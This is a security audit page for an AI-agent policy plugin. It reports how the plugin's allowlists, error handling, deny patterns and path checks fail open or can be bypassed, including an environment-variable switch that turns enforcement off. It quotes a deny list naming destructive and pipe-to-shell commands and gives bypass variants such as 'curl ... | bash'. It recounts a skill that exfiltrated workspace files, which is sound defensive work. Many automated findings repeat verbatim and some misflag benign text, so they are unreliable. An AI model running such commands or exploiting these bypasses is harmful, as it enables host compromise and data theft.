Back to skill

Security audit

Policy Engine

Security checks for vulnerabilities and agentic risk

Overview

This appears to be a legitimate policy-engine plugin, but its own enforcement boundary has fail-open and bypass behaviors that can make restrictive policies much weaker than users expect.

Install only if you treat this as an advisory guardrail, not a sandbox or authoritative security boundary. Review the defaults carefully, remove powerful tools such as gateway and sessions_send from any always-allowed recovery set where possible, avoid empty allowlist profiles, keep OPENCLAW_POLICY_BYPASS unset except during supervised recovery, and do not rely on the built-in deny patterns or path allowlists as the only protection around exec or write-capable tools.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T05 · Unauthorized Access and Privilege Escalation

Error
Location
src/engine.ts:101
Finding
Configured allowlists are bypassed for essential and T0 tools<![CDATA[ ## Vulnerability Details **File Location**: `src/engine.ts:101-110` **Vulnerability Type**: Authorization bypass and excessive tool privileges **Risk Level**: High ### Vulnerable Code ```ts // 4. Essential tool + T0 early exit — bypass allowlist and escalation. // Control-plane tools (message, gateway, session_status, etc.) and // read-only T0 tools must NEVER be blocked by allowlists or escalation // counters. Without this, the agent bricks itself when it hits // maxBlockedRetries — same deadlock class as the dry-run issue. // Deny patterns (step 3) still apply to prevent abuse. if (this.isEssentialTool(name) || isT0(name, this.config.riskTiers)) { return { action: "allow", tier, reason: "Essential/T0 tool — always allowed" }; } ``` The default exempted tools are defined in `src/config.ts:29-36`: ```ts const DEFAULT_ESSENTIAL_TOOLS: string[] = [ "message", "gateway", "session_status", "sessions_send", "sessions_list", "tts", ]; ``` ### Technical Analysis The early return occurs before allowlist enforcement in normal enforcement mode. It therefore grants unconditional access to every tool classified as T0 and every tool in `dryRunEssentialTools`, even if the applicable agent profile deliberately omits that tool. The exemption includes sensitive control-plane and externally effective capabilities such as `gateway`, `sessions_send`, and `message`. T0 also includes tools such as `memory_get`, `memory_search`, and `web_fetch`. Although some of these are described as read-only, they can still expose sensitive information or communicate with external systems. Deadlock prevention can justify a narrowly constrained recovery channel, but it does not justify bypassing administrator-defined allowlists during ordinary operation. The implementation conflicts with the declared per-agent allowlist functionality and violates least privilege. ### Attack Path 1. An administrator assigns an untrusted agent a restrictive tool profile ...[truncated 932 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Enforce the applicable agent allowlist before applying any essential or T0 exception during normal operation. 2. Restrict deadlock exemptions to an explicitly activated recovery state rather than applying them globally. 3. Remove powerful tools such as `gateway` and `sessions_send` from unconditional defaults. 4. Require operator authentication or a separately protected capability for gateway configuration changes. 5. Define a minimal immutable recovery set containing only operations that cannot modify configuration, contact external destinations, or access sensitive memory. 6. Add regression tests proving that an agent profile can deny every T0 and control-plane tool. 7. Document any unavoidable exemptions clearly so administrators do not assume that allowlists are authoritative for those tools. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
src/engine.ts:158
Finding
Empty or invalid allowlist profiles silently grant access to all tools<![CDATA[ ## Vulnerability Details **File Location**: `src/engine.ts:158-161` **Vulnerability Type**: Fail-open access-control configuration **Risk Level**: High ### Vulnerable Code ```ts const allowedTools = this.config.allowlists[profileName]; if (!allowedTools || allowedTools.length === 0) { return undefined; // empty allowlist → allow all } ``` Configuration parsing in `src/config.ts:116-128` can also reduce malformed profiles to empty arrays: ```ts function resolveAllowlists(raw: unknown): Record<string, string[]> { if (!raw || typeof raw !== "object" || Array.isArray(raw)) { return {}; } const result: Record<string, string[]> = {}; for (const [key, value] of Object.entries(raw as Record<string, unknown>)) { if (Array.isArray(value)) { result[key] = value.filter((v): v is string => typeof v === "string"); } } return result; } ``` ### Technical Analysis An explicitly configured empty allowlist normally represents a deny-all policy. The implementation instead interprets it as unrestricted access. This creates dangerous ambiguity between an absent profile and a present profile containing no permitted tools. The configuration parser silently removes non-string entries. A malformed or partially invalid profile can consequently become an empty array and trigger the same fail-open behavior without producing an error. Because the engine's default decision is to allow, this condition can expose all non-exempt tools, including `exec`, `process`, write operations, and other tools with external effects. ### Attack Path 1. An administrator creates an empty profile to quarantine an agent or deny all tools. 2. Alternatively, deployment automation supplies malformed allowlist entries that are silently filtered out. 3. Routing assigns the resulting profile to an agent. 4. The agent invokes a dangerous tool such as `exec`. 5. `checkAllowlist()` sees an empty array and returns `undefined`, which means no block decision. 6. If no deny ...[truncated 543 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Treat a present but empty allowlist as deny-all. 2. Distinguish explicitly between “no profile configured” and “configured profile with zero allowed tools.” 3. Reject malformed allowlist entries during configuration loading instead of silently filtering them. 4. Reject routing rules that reference missing profiles. 5. Log a startup error and refuse enforcement initialization when security-critical configuration is invalid. 6. Consider requiring an explicit `allowAll: true` setting rather than overloading an empty array. 7. Add tests for empty profiles, missing profiles, malformed arrays, and profiles whose values are all invalid. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/hooks/before-tool-call.ts:106
Finding
Policy evaluation errors permit the original tool call<![CDATA[ ## Vulnerability Details **File Location**: `src/hooks/before-tool-call.ts:106-111` **Vulnerability Type**: Fail-open security boundary **Risk Level**: Medium ### Vulnerable Code ```ts } catch (err) { // Defensive: never crash the agent logger.error( `policy-engine before_tool_call error: ${err instanceof Error ? err.message : String(err)}`, ); return undefined; // fail-open } ``` ### Technical Analysis The `before_tool_call` hook is the enforcement point responsible for preventing unauthorized or dangerous operations. In this hook, returning `undefined` means that the original tool call is allowed to continue. Any unexpected error in configuration access, state tracking, parameter processing, logging, or policy evaluation therefore converts a policy failure into an authorization grant. This prioritizes availability over the integrity of the security boundary and undermines the plugin's stated deterministic governance purpose. The audit did not establish a specific guaranteed attacker-controlled exception in the current code. Nevertheless, the fail-open design means that any reachable runtime fault—whether caused by unexpected tool metadata, incompatible host behavior, malformed state, or future code changes—can authorize a call that was never successfully evaluated. ### Attack Path 1. An agent requests a T1 or T2 tool operation. 2. Unexpected event data, runtime state, configuration, logger behavior, or an implementation defect causes the hook to throw before it returns a policy decision. 3. The catch block logs the error. 4. The hook returns `undefined`. 5. OpenClaw interprets the response as permission to proceed. 6. The unevaluated tool call executes. ### Impact Assessment A policy-engine failure can permit arbitrary operations exposed by the requested tool. For an `exec` call, the impact may include host command execution under the OpenClaw process account. For write, gateway, process, or messaging tools, the impact may inclu ...[truncated 197 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Fail closed for T1, T2, unknown, and externally effective tools when policy evaluation fails. 2. Return a generic block reason that does not disclose sensitive exception details. 3. If recovery availability is mandatory, maintain a small hard-coded set of genuinely read-only local recovery tools that may fail open. 4. Validate event structure and parameters before evaluation to reduce unexpected exceptions. 5. Separate logging failures from policy decisions so a logger exception cannot authorize a tool call. 6. Emit a high-severity operational alert and metric whenever enforcement fails. 7. Add fault-injection tests covering engine, state manager, configuration, and logger exceptions. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/patterns.ts:14
Finding
Literal shell deny patterns are easily bypassed by common command variants<![CDATA[ ## Vulnerability Details **File Location**: `src/patterns.ts:14-24` and `src/patterns.ts:146-150` **Vulnerability Type**: Insufficient validation of dangerous shell commands **Risk Level**: Medium ### Vulnerable Code ```ts const DEFAULT_EXEC_DENY_PATTERNS: string[] = [ "rm -rf", "mkfs", ":(){ :|:& };:", "dd if=", "> /dev/sd", "chmod -R 777 /", "mv /* ", "wget -O- | sh", "curl | sh", ]; ``` ```ts for (const pattern of patterns) { if (relevant.includes(pattern.toLowerCase())) { return { matched: true, pattern }; } } ``` ### Technical Analysis The deny mechanism performs case-insensitive literal substring matching. It does not parse shell syntax, normalize whitespace, understand flags, or interpret configured expressions as regular expressions. The built-in strings `curl | sh` and `wget -O- | sh` only match those exact textual sequences. Common dangerous commands such as the following do not contain those substrings: ```sh curl -fsSL https://example.invalid/payload | bash wget -qO- https://example.invalid/payload | /bin/sh curl "$URL" | env bash ``` Attackers can also use alternate spacing, variables, command substitution, another interpreter, or equivalent download utilities. Documentation in `DESIGN.md` shows regex-like examples such as `curl.*\|\s*bash`, but the implementation treats user patterns as plain strings. This mismatch may cause administrators to believe that broader matching is active when it is not. The flagged curl/wget strings in this file are defensive data and are not themselves executed. The vulnerability is their inadequate effectiveness as a security control. ### Attack Path 1. An agent has access to the `exec` tool under the default permissive configuration or an assigned profile. 2. Malicious input directs the agent to download and execute a remote payload. 3. The generated command uses a variant such as `curl -fsSL URL | bash`. 4. Literal matching does not find `curl | sh`. 5. No allowlist, pat ...[truncated 621 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not rely on a short shell-command denylist as the primary authorization boundary. 2. Require explicit allowlisting of `exec` and default it to denied for restricted agents. 3. Parse commands using a shell-aware parser and evaluate executable names, pipelines, redirections, and interpreter invocation. 4. If regular expressions are supported, compile validated expressions explicitly and document their semantics accurately. 5. Normalize benign syntax variations before matching, including whitespace and executable paths. 6. Consider blocking downloader-to-interpreter pipelines generically rather than enumerating only `curl` and `wget`. 7. Add regression tests for flags, alternate whitespace, `/bin/sh`, `bash`, variables, command substitution, and other download utilities. 8. Use OS-level sandboxing and network restrictions because string matching cannot provide complete command isolation. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/patterns.ts:224
Finding
Lexical path checks permit writes outside allowlisted directories through symbolic links<![CDATA[ ## Vulnerability Details **File Location**: `src/patterns.ts:224-243` **Vulnerability Type**: Symbolic-link path traversal **Risk Level**: Medium ### Vulnerable Code ```ts for (const rawPath of pathValues) { let resolved: string; try { resolved = nodePath.resolve(rawPath); } catch { // Fail closed: if resolution fails, block return { blocked: true, resolvedPath: rawPath, reason: `Blocked: could not resolve path "${rawPath}"`, }; } // Check if resolved path starts with any allowed prefix const allowed = allowedPrefixes.some((prefix) => { // Normalize prefix: ensure it ends with separator for directory matching const normalizedPrefix = prefix.endsWith(nodePath.sep) ? prefix : prefix + nodePath.sep; // Allow exact match to the prefix directory itself, or anything under it return resolved === prefix.replace(/\/$/, "") || resolved.startsWith(normalizedPrefix); }); if (!allowed) { return { blocked: true, resolvedPath: resolved, reason: `Blocked: path "${resolved}" is outside allowed directories [${allowedPrefixes.join(", ")}]`, }; } } ``` ### Technical Analysis `nodePath.resolve()` performs lexical normalization of components such as `.` and `..`, but it does not query the filesystem or resolve symbolic links. The prefix comparison therefore establishes only that the textual path appears beneath an allowed directory. If an allowed directory contains a symbolic link to a location outside that directory, a target beneath the link passes the prefix test while the filesystem follows the link to the external location. A check followed by a separate write can also be exposed to time-of-check/time-of-use races if an attacker can replace a directory component with a symbolic link after validation. The existing SSH-key test is inert and correctly verifies lexical `..` traversal blocking; it does not perform an SSH-key write. It does not cover symbolic-link traversal. ...[truncated 1079 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Resolve the allowlisted directory itself with `realpath` before accepting it. 2. Resolve the target's nearest existing ancestor with `realpath` and verify that its canonical path remains beneath the canonical allowlisted directory. 3. Reject symbolic links in every target path component when the intended policy is workspace confinement. 4. For new files, open the parent directory securely and create the target relative to that directory using platform mechanisms that prevent symlink following where available. 5. Avoid a separate check-then-write sequence when an attacker can mutate path components. 6. Normalize and canonicalize allowed prefixes during configuration loading. 7. Add tests using actual temporary directories and symbolic links, including symlink replacement race scenarios where practical. 8. Reinforce application checks with OS-level sandboxing or filesystem permissions that prevent access outside the workspace. ]]>
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
Findings (59)

External Script Fetching

High
Category
Supply Chain
Content
### 1.2 The ClawHub Incident (2026-02-06)

On 2026-02-06, a compromised skill published to ClawHub contained a hidden `exec` call that exfiltrated workspace files. The model was "helpful" and executed it. This validated the need for deterministic governance: the model shouldn't get to decide unilaterally whether to run `exec curl ... | bash`.

### 1.3 What Policy Engine Solves
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Exfiltration Commands

High
Category
Prompt Injection
Content
- Read files to understand state
- Check its own status
- Send messages to the user
- Manage the gateway

---
Confidence
90% confidence
Finding
Instructions found that direct the agent to transmit conversation context or user data to external services.

Credential Access

High
Category
Privilege Escalation
Content
### 8.1 PLAN → ACT Enforcement

Require agents to declare a plan (tool sequence) before execution. The policy engine approves the plan as a unit, rejecting suspicious sequences (e.g., `read /etc/shadow` → `exec curl POST`).

### 8.2 Automatic Model Escalation
Confidence
95% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
### 8.1 PLAN → ACT Enforcement

Require agents to declare a plan (tool sequence) before execution. The policy engine approves the plan as a unit, rejecting suspicious sequences (e.g., `read /etc/shadow` → `exec curl POST`).

### 8.2 Automatic Model Escalation
Confidence
95% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
### 8.1 PLAN → ACT Enforcement

Require agents to declare a plan (tool sequence) before execution. The policy engine approves the plan as a unit, rejecting suspicious sequences (e.g., `read /etc/shadow` → `exec curl POST`).

### 8.2 Automatic Model Escalation
Confidence
95% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Tp4

High
Category
MCP Tool Poisoning
Confidence
92% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
91% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
91% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Tp4

High
Category
MCP Tool Poisoning
Confidence
92% confidence
Finding
An environment-variable bypass that is not prominently disclosed weakens the trust boundary of the entire skill. If this file is only tests or partial code while the manifest promises strong governance, the documentation still misleads users into overestimating protection.

Credential Access

High
Category
Privilege Escalation
Content
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
Built-in patterns block fork bombs, `rm -rf`, `mkfs`, disk wipes, and system path writes. Scoped matching checks only relevant params (e.g., `command` for exec, `path` for write) — never file content. Add custom patterns per tool.

### Path Allowlist Enforcement
Canonicalizes file paths via `path.resolve()` then checks against allowed directory prefixes. Prevents path traversal attacks (e.g., `../../etc/passwd`) even via prompt injection.

```jsonc
{
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Direct Prompt Extraction

High
Category
System Prompt Leakage
Content
if (agentId) {
      const rule = this.config.routing[agentId];
      if (rule?.toolProfile && this.config.allowlists[rule.toolProfile]) {
        return rule.toolProfile;
      }
    }
Confidence
85% confidence
Finding
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Description-Behavior Mismatch

High
Confidence
98% confidence
Finding
This hook is described as the enforcement point for tool governance, yet setting OPENCLAW_POLICY_BYPASS=1 causes it to allow every tool call without policy evaluation. In addition, the catch block returns undefined on error, which fails open and permits execution when the policy engine crashes or encounters malformed input. In a governance layer, both behaviors create a straightforward path to defeat protections.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
":(){ :|:& };:",
  "dd if=",
  "> /dev/sd",
  "chmod -R 777 /",
  "mv /* ",
  "wget -O- | sh",
  "curl | sh",
Confidence
80% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

External Script Fetching

High
Category
Supply Chain
Content
"> /dev/sd",
  "chmod -R 777 /",
  "mv /* ",
  "wget -O- | sh",
  "curl | sh",
];
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

External Script Fetching

High
Category
Supply Chain
Content
"chmod -R 777 /",
  "mv /* ",
  "wget -O- | sh",
  "curl | sh",
];

const DEFAULT_WRITE_DENY_PATTERNS: string[] = [
Confidence
90% confidence
Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.